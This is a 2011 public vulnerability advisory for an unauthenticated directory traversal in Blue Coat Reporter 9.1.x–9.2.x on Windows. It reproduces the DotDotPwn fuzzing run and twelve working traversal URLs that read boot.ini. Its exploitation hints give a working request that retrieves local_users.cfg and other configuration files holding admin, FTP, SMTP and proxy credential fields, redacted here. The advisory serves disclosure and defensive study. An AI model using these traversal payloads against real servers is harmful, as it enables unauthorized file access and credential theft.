1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 |
# Exploit Title: Blue Coat Reporter Unauthenticated Directory Traversal # Author: nitr0us / http://twitter.com/nitr0usmx # Software Link: http://www.bluecoat.com/products/reporter # Version: 9.2.x - 9.1.x # Tested on: Windows Server 2003 Standard Blue Coat Reporter Unauthenticated Directory Traversal ================================================================================= ### PUBLIC RELEASE ### My gift to Ekoparty Security Conference 2011 @ Argentina What a great event! 21/Sept/2011 ### PUBLIC RELEASE ### Vulnerability Information ================================================================================= Vendor:Blue Coat Systems, Inc. (NASDAQ: BCSI) - http://www.bluecoat.com Product: Blue Coat Reporter - http://www.bluecoat.com/products/reporter Versions:9.2.x - 9.1.x Platform:Windows (the Linux installation is not vulnerable) Tested on: Blue Coat Reporter 9.2.3 on Windows Server 2003 Standard Vulnerability: Directory Traversal CVSS v2 Score: 8.3 (High) [ AV:A/AC:L/Au:N/C:C/I:C/A:C ] Author:Alejandro Hernandez H. (nitr0us) / http://twitter.com/nitr0usmx Discovery Date:April 14th, 2011 Public Release:September 21th, 2011 @ Ekoparty Security Conference Vendor Response: Blue Coat has confirmed the existence of a patch for 9.3.1.1 but until *now* there is no patch for 9.2.x nor 9.1.x Vendor Advisory: https://kb.bluecoat.com/index?page=content&id=SA60 Product Information ================================================================================= Blue Coat Reporter gives managers powerful visibility into all Web-related user activity. Beyond URL Filtering, Reporter provides customizable, at-a-glance dashboards and reports along with intuitive drill-down capabilities making it an invaluable part of security, compliance, bandwidth management, and other business-critical efforts necessary in todays competitive environment. Reporter quickly processes robust log data from Blue Coat ProxySG and ProxyClient along with conveyed data from Webfilter and ProxyAV, providing easy-to-view reports for security specialists, department managers, HR managers, and network administrators. Blue Coat Reporter provides the ultimate architecture for complete Web visibility and control. Security administrators can evaluate risks and track user activity that is potentially dangerous, and quickly determine users with malicious content, including spyware. Plus, view a security analysis with sub-reports that include malware ids, malware IP detail, malware URL detail and malware user detail. Security views provide administrators with greater visibility into the strength and stability of their network. FEATURES: - Comprehensive Security and Web Traffic Information - Real-Time Dashboard - Threat Protection Reporting - Flexible Reporting - Scalable Performance - Content Filtering and Trend Analysis - Customized Access - Views: Administrator, HR, Security and Technical Vulnerability Discovery (some info has been replaced with X's) ================================================================================= I found this vulnerability with DotDotPwn v3.0beta fuzzer: #./dotdotpwn.pl -m http -h 10.X.X.X -x 8081 -d 3 -f boot.ini -q ################################################################################# # # #CubilFelino Chatsubo # #Security Research Laband[(in)Security Dark] Labs # #chr1x.sectester.net chatsubo-labs.blogspot.com # # # # pr0udly present:# # # #______________________________ # #\______ \____ _/|_\______ \____ _/|_\______ \_____ ____# # ||\/_ \\ __\||\/_ \\ __\| ___/\ \/ \/ //\ # # |<code> \(<_> )|||</code> \(<_> )|||| \ /| |\# #/_______/ \____/ |__| /_______/ \____/ |__||____|\/\_/ |___|/# #\/\/\/ # #- DotDotPwn v3.0 Beta -# # The Directory Traversal Fuzzer# # http://dotdotpwn.sectester.net# #dotdotpwn@sectester.net# # # #by chr1x & nitr0us # ################################################################################# [========== TARGET INFORMATION ==========] [+] Hostname: 10.X.X.X [+] Protocol: http [+] Port: 8081 Blue Coat Reporter [=========== TRAVERSAL ENGINE ===========] [+] Creating Traversal patterns (mix of dots and slashes) [+] Multiplying 3 times the traversal patterns (-d switch) [+] Creating the Special Traversal patterns [+] Translating (back)slashes in the filenames [+] Appending 'boot.ini' to the Traversal Strings [+] Including Special sufixes [+] Traversal Engine DONE ! - Total traversal tests created: 300 [=========== TESTING RESULTS ============] [+] Ready to launch 3.33 traversals per second [+] Press any key to start the testing (You can stop it pressing Ctrl + C) [*] Testing Path: http://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./boot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0.%c0.\%c0.%c0.\%c0.%c0.\boot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%2f%c0.%c0.%2f%c0.%c0.%2fboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%5c%c0.%c0.%5c%c0.%c0.%5cboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%c0%2f%c0.%c0.%c0%2f%c0.%c0.%c0%2fboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0.%c0.%c0%5c%c0.%c0.%c0%5c%c0.%c0.%c0%5cboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini <- VULNERABLE! [*] Testing Path: http://10.X.X.X:8081/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini <- VULNERABLE! [+] Fuzz testing finished after 1.55 minutes (93 seconds) [+] Total Traversals found: 12 Exploitation hints (some info has been replaced with X's) ================================================================================= According to Blue Coat's knowledge base (https://kb.bluecoat.com/index?page=content&id=FAQ372), some of the common configuration files are located in: Windows: <installed drive>/Program Files/Bluecoat Reporter 9/settings If you try to get the configuration files in the way showed below, it will not work: http://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./Program%20Files/Bluecoat%20Reporter%209/settings/local_users.cfg But, if you send the request in this another way ;), it works pretty well: http://10.X.X.X:8081/%c0.%c0./%c0.%c0./%c0.%c0./progra~1/blueco~1/settings/local_users.cfg Some interesting content within the configuration files: local_users.cfg: local_users = { user_admin = { username = "admin" b64username = "YWRtaW4=" password_checksum = "XXXXXXXXXXXXXXXXXXXXXXXXXXXX" administrator = "true" last_login = "1306513774" roles = "" email = "foo@bar.com.mx" } # user_admin } # local_users log_sources.cfg: log_sources = { assigned = { assigned_XXXXXXXXXXXXXXXXXXXXXXXXXXX = { type = "ftp" port = "21" match_compressed = "true" state = "enable" filename = "*.log" label = "Blue Coat ProxySG" database = "database_XXXXXXXXXXXXXXXXXXXXXXXX" hostname = "10.X.X.X" username = "proxysg" password = "XXXXXXXXXXXXXXXXXX" dirname = "/" process_subdirectories = "false" post = "rename" } # assigned_XXXXXXXXXXXXXXXXXXXXXXXXXXX } # assigned } # log_sources preferences.cfg: preferences = { version = "9.2.3.1" ... recipients = { to = "foo@bar.com.mx" limits = { max_databases = "50" max_sources = "150" max_templates = "100" max_users = "100" max_roles = "100" max_realms = "10" max_groups = "100" max_panes = "25" max_saved_reports = "250" max_filter_templates = "25" } # limits smtp_server = { primary = { password = "XXXXXXXXXXXXXXX" hostname = "10.X.X.X" username = "XXXXXXXXXXXXXXX" } # primary system_event_log = { directory = "C:/Program Files/Blue Coat Reporter 9/journal/" enable_audit_log = "true" } # system_event_log explicit_proxy = { http = { ip = "10.X.X.X" port = "8080" username = "XXXXXXXXXX" password = "XXXXXXXXXX" enabled = "false" } # http paths = { databases = "C:/Program Files/Blue Coat Reporter 9/databases/" journal = "C:/Program Files/Blue Coat Reporter 9/journal/" archive = "C:/Program Files/Blue Coat Reporter 9/archive/" } # paths } # preferences schedule.cfg: schedule = { database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX = { description = "Foo Bar" type = "expire_database" data = "1" database = "database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" deleteOnCompletion = "false" enabled = "true" runStatus = "completed" priority = "low" frequency = { type = "day" minute = { 0 = "0" } # minute hour = { 0 = "18" } # hour } # frequency next_run_time = "1307746837" diagnosticInfo = { next_run_time = "06/10/2011 23:00:37" last_run_time = "06/09/2011 23:00:37" } # diagnosticInfo last_run_time = "1307746837" } # database_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX } # schedule Greets ================================================================================= Special thanks to Tammy Green from Blue Coat: It was a pleasure to work with you in the follow-up of this vulnerability. Also, special greets to my Argentinian friends Xava Du & Federico L. Bossi: I'm having a great time in Buenos Aires and in Ekoparty. To some friends, chr1x, CRAc, hkm, alt3kx, tr3w, dex, LightOS, Sirdarckat, calderpwn, b0rr3x, beck, daemon, scp.scorpion, Caar2000, Rolman, #mendozaaaa, Raaka_elgaupo, vendetta, zeus, Hector López, etc. etc. etc.. Author ================================================================================= Author:nitrØus[ Alejandro Hernandez H. ] E-mail:nitrousenador -at- gmail -dot- com Twitter: http://twitter.com/nitr0usmx Website: http://www.brainoverflow.org http://chatsubo-labs.blogspot.com Country: Mexico |